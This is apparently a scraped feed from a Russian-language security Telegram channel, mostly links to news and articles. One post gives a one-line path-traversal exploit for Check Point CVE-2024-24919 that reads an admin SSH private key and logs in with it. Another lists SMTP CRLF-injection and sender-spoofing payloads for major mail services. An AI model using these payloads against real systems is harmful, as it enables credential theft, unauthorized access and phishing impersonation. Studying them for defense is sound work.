Fsecurity | HH

🔗Ссылка: https://habr.com/ru/articles/818661/

🔗Ссылка: https://habr.com/ru/articles/813915/

CVE-2024-24919: Check Point arbitrary file read (as root) Blog: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ #cve #pentest #redteam

🔗Ссылка: https://habr.com/ru/articles/818581/

🔗Ссылка: https://www.anti-malware.ru/news/2024-05-31-114534/43481

💻 Windows Bootkits Guide от ИБ-специалиста Артема Баранова Руководство по буткитам Windows, которые начинают работать ещё до загрузки ОС, что позволяет им отслеживать, изменять процесс загрузки, а также бесшумно внедрять руткиты уровня ядра. Гайд содержит 2 основных раздела: сборник источников с основными отчетами и докладами по буткитам и сводную инфографику. 🗄 Руководство 🗄 Подробнее о буткитах @linuxkalii

🔗Ссылка: https://habr.com/ru/articles/818471/

🔗Ссылка: https://xakep.ru/2024/05/16/new-ebury-report/

CVE-2024-24919 Check Point Remote Access VPN 0-Day Ну или так 👌 aCSHELL/../../../../../../../ home/admin/.ssh/id_rsa * ssh admin@Хостъ -i id_rsa #shitPointVPN #0Day

🔗Ссылка: https://habr.com/ru/companies/amvera/articles/818299/

🔗Ссылка: https://habr.com/ru/news/818177/

🔗Ссылка: https://habr.com/ru/companies/ua-hosting/articles/818165/

🔗Ссылка: https://www.anti-malware.ru/news/2024-05-30-111332/43472

Уязвимость CVE-2024-21378 позволяет выполнить произвольный код в системе, где установлен MS Outlook. А всё потому, что Exchange и Outlook, общаясь по протоколу MAPI, могут пересылать друг другу всякое разное и вообще немыслимое. Например, можно создать собственный тип сообщения и указать клиенту Outlook, что для отрисовки этого сообщения следует использовать некую особую форму. И эту форму тоже можно передать адресату: такому сообщению соответствует класс IPM.Microsoft.FolderDesign.FormsDescription. А сама форма представляет собой DLL-библиотеку, которая хранится как вложение в сообщении. Чтобы эксплуатировать уязвимость, злоумышленник отправляет жертве форму, которая открывает определённый класс сообщений. А затем отправляет письмо-триггер, принадлежащее к этому классу сообщений. В результате Outlook загружает вредоносную форму (см. скриншот). Наш эксперт Александр Родченко проанализировал процесс эксплуатации этой уязвимости и написал утилиту, которая сканирует скрытые сообщения и выявляет попытки атаки. Подробности – по ссылке.

❔ #заметки #offense ➡️Дополнительно разберёмся в кейсах, описанных в статье @slonser_notes, и в извлекаемом из них импакте!    🧩   ‟Old new email attacks”   [ 🐍 / 💻 / 💻 ]  ⚡️ 📌 ГЛАВНЫЕ ПОИНТЫ ▪️Пробуйте общаться с почтовыми сервисами по SMTP:

Gmail:     smtp.gmail.com
Outlook:   smtp-mail.outlook.com
Yandex:    smtp.yandex.ru
Mail.Ru:   smtp.mail.ru
 ...

SSL port:  465
TLS port:  587

▪️Пробуйте разные входные точки:

From: EMAIL
From: <EMAIL>
From: "NAME" <EMAIL>
From: <EMAIL> (COMMENT)
From: GROUP: EMAIL, EMAIL
From: GROUP: <EMAIL>
Sender: EMAIL

▪️Оказались уязвимы почтовые продукты Google, Microsoft, Yandex, ... ▪️Оказались уязвимы парсеры адресов электронных почт, библиотеки ЯП:     ▪️Python   [email]     ▪️JS   [addressparser, email-addresses]     ▪️C#   [System.Net.Mail]     ▪️Go   [net/mail]     ▪️Rust, Ruby, PHP, ... 🔑 ПЕЙЛОАДЫ НА ПРОБУ ...➡️...

attacker@[testText\r\nRSET\r\nMAIL FROM: <spoofed@example.org>\r\nRCPT TO: <victim@example.org>\r\nDATA\r\nFrom: spoofed@example.org\r\n\r\nText\r\n.\r\nQUIT\r\n]

📧➡️📧

"Spoofed"
<attacker@outlook.com>: spoofed@outlook.com

📧➡️📧, 📧, ...

<spoofed@gmail.com> "spoofed" <attacker@gmail.com>

📧➡️📧, 📧

Attacker
<spoofed@gmail.com>:<attacker@gmail.com>

📧➡️...

": <attacker@gmail.com> "<spoofed@gmail.com>"

☠️  ИМПАКТ & ПОСЛЕДСТВИЯ ▪️Возможность внедрения конструкции CRLF (\r\n) для внедрения SMTP команд➡️Имперсонация, ... ▪️Некорректный парсинг адреса электронной почты отправителя➡️Имперсонация

❗️Имперсонация➡️(в данном случае) Подделка адреса электронной почты отправителя; Обеспечивает кратное повышение легитимности фишинговых писем в глазах атакуемых

💬 Поскольку вендоры считают перечисленные уязвимости фичами, возможность эксплуатации сохраняет актуальность и уже сейчас мы можем наблюдать, как, например, этими "фичами" начинают пользоваться хактивисты для проведения качественных фишинговых рассылок; ➡️Stay safe.    @HaHacking  🐇

🔗Ссылка: https://habr.com/ru/companies/sovcombank_technologies/articles/817463/

🔗Ссылка: https://www.anti-malware.ru/news/2024-05-28-121172/43460